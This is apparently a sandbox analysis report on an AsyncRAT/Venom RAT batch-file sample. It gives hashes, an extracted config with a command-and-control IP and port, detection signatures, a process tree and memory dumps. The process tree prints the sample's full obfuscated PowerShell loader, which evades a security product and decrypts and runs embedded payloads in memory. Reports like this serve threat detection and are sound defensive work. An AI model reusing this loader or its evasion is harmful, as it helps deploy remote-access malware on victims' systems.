asyncrat | 1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad

General

Target

1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
Size

65KB
MD5

963ce568ecee6a43389e1e12b60f325a
SHA1

2cbf2183bf67d7d2eeb98366ab9702e23e4d7c30
SHA256

1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad
SHA512

18c2c8dd7a1336cbd18c1d0e6659f47a8718492f37c1224c3348391b97b3c15e74108e293f2777323cec7bde6a645243a409d2d000b9b94bc7b71d4ee7ae8554
SSDEEP

1536:BNnIoXnDA1Chiapd336sy2r0z1k7Ew2Gr1lwtnLYT8ki:BRIGAA336sy2rSk7Ew2Gr1lKT

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

193.222.96.143:4449

Mutex

bkfcocpkfci

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/2568-34-0x000001E26B570000-0x000001E26B588000-memory.dmp	family_asyncrat

Detects executables attemping to enumerate video devices using WMI 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2568-34-0x000001E26B570000-0x000001E26B588000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

23 2568 powershell.exe
24 2568 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

436 powershell.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exepowershell.exe

pid process

2568 powershell.exe
2568 powershell.exe
436 powershell.exe
436 powershell.exe
2568 powershell.exe
2568 powershell.exe
2568 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2568 powershell.exe
Token: SeDebugPrivilege 436 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

2568 powershell.exe

flow	pid	process
23	2568	powershell.exe
24	2568	powershell.exe

pid	process
436	powershell.exe

pid	process
2568	powershell.exe
2568	powershell.exe
436	powershell.exe
436	powershell.exe
2568	powershell.exe
2568	powershell.exe
2568	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe

pid	process
2568	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.execmd.exepowershell.exe

description	pid	process	target process
PID 4252 wrote to memory of 3064	4252	cmd.exe	cmd.exe
PID 4252 wrote to memory of 3064	4252	cmd.exe	cmd.exe
PID 3064 wrote to memory of 4152	3064	cmd.exe	cmd.exe
PID 3064 wrote to memory of 4152	3064	cmd.exe	cmd.exe
PID 3064 wrote to memory of 2568	3064	cmd.exe	powershell.exe
PID 3064 wrote to memory of 2568	3064	cmd.exe	powershell.exe
PID 2568 wrote to memory of 436	2568	powershell.exe	powershell.exe
PID 2568 wrote to memory of 436	2568	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4252

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:3064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1331ae5fedc50718ee7ae4f73735ac7ca34e3756f3c75c843c8676a9f3db33ad.bat';$BMbC='RsHpUesHpUadLsHpUinsHpUesHpUssHpU'.Replace('sHpU', ''),'CCFZsreCFZsatCFZseDCFZsecCFZsrCFZsyCFZspCFZstCFZsorCFZs'.Replace('CFZs', ''),'FrBDpromBDprBBDpraBDprseBDpr6BDpr4SBDprtrBDpriBDprngBDpr'.Replace('BDpr', ''),'ChAmxTanAmxTgAmxTeEAmxTxtAmxTensAmxTiAmxTonAmxT'.Replace('AmxT', ''),'DMtvCecMtvComMtvCprMtvCeMtvCsMtvCsMtvC'.Replace('MtvC', ''),'LCapfoaCapfdCapf'.Replace('Capf', ''),'ISAmunSAmuvokSAmueSAmu'.Replace('SAmu', ''),'MawqArinMwqArowqArduwqArlewqAr'.Replace('wqAr', ''),'GetKwgmCuKwgmrreKwgmntKwgmPKwgmrocKwgmessKwgm'.Replace('Kwgm', ''),'SplMBlVitMBlV'.Replace('MBlV', ''),'ElayXCemayXCeayXCnayXCtayXCAtayXC'.Replace('ayXC', ''),'TVQktranVQktsVQktforVQktmFiVQktnaVQktlVQktBVQktloVQktcVQktkVQkt'.Replace('VQkt', ''),'EnXNnYtXNnYrXNnYyPoXNnYintXNnY'.Replace('XNnY', ''),'ComQwwpyTmQwwomQww'.Replace('mQww', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BMbC[8])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function zlGLC($RSWKX){$GVeOl=[System.Security.Cryptography.Aes]::Create();$GVeOl.Mode=[System.Security.Cryptography.CipherMode]::CBC;$GVeOl.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$GVeOl.Key=[System.Convert]::($BMbC[2])('uY6F5j209xASZjaoUU93vCCXVRY+Y6fGH5LCH0uNzYo=');$GVeOl.IV=[System.Convert]::($BMbC[2])('iwvv8vpAhw35q7w8nU7OXw==');$QznTD=$GVeOl.($BMbC[1])();$RHHCU=$QznTD.($BMbC[11])($RSWKX,0,$RSWKX.Length);$QznTD.Dispose();$GVeOl.Dispose();$RHHCU;}function lfrrO($RSWKX){$kKatK=New-Object System.IO.MemoryStream(,$RSWKX);$EyOwi=New-Object System.IO.MemoryStream;$oJtRR=New-Object System.IO.Compression.GZipStream($kKatK,[IO.Compression.CompressionMode]::($BMbC[4]));$oJtRR.($BMbC[13])($EyOwi);$oJtRR.Dispose();$kKatK.Dispose();$EyOwi.Dispose();$EyOwi.ToArray();}$FYWBz=[System.IO.File]::($BMbC[0])([Console]::Title);$QpMEc=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 5).Substring(2))));$IyoFy=lfrrO (zlGLC ([Convert]::($BMbC[2])([System.Linq.Enumerable]::($BMbC[10])($FYWBz, 6).Substring(2))));[System.Reflection.Assembly]::($BMbC[5])([byte[]]$IyoFy).($BMbC[12]).($BMbC[6])($null,$null);[System.Reflection.Assembly]::($BMbC[5])([byte[]]$QpMEc).($BMbC[12]).($BMbC[6])($null,$null); "
3⤵
PID:4152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lgptjzmy.ccx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/436-24-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/436-29-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/436-26-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/436-25-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/2568-12-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/2568-34-0x000001E26B570000-0x000001E26B588000-memory.dmp

Filesize
96KB

Download
memory/2568-13-0x000001E26B5A0000-0x000001E26B5E4000-memory.dmp

Filesize
272KB

Download
memory/2568-0-0x00007FF8C0683000-0x00007FF8C0685000-memory.dmp

Filesize
8KB

Download
memory/2568-11-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/2568-6-0x000001E26B070000-0x000001E26B092000-memory.dmp

Filesize
136KB

Download
memory/2568-30-0x000001E26B550000-0x000001E26B55A000-memory.dmp

Filesize
40KB

Download
memory/2568-14-0x000001E26C3E0000-0x000001E26C456000-memory.dmp

Filesize
472KB

Download
memory/2568-33-0x000001E26B560000-0x000001E26B570000-memory.dmp

Filesize
64KB

Download
memory/2568-32-0x00007FF8DC6C0000-0x00007FF8DC77E000-memory.dmp

Filesize
760KB

Download
memory/2568-31-0x00007FF8DE670000-0x00007FF8DE865000-memory.dmp

Filesize
2.0MB

Download
memory/2568-40-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download
memory/2568-41-0x00007FF8C0683000-0x00007FF8C0685000-memory.dmp

Filesize
8KB

Download
memory/2568-42-0x00007FF8C0680000-0x00007FF8C1141000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads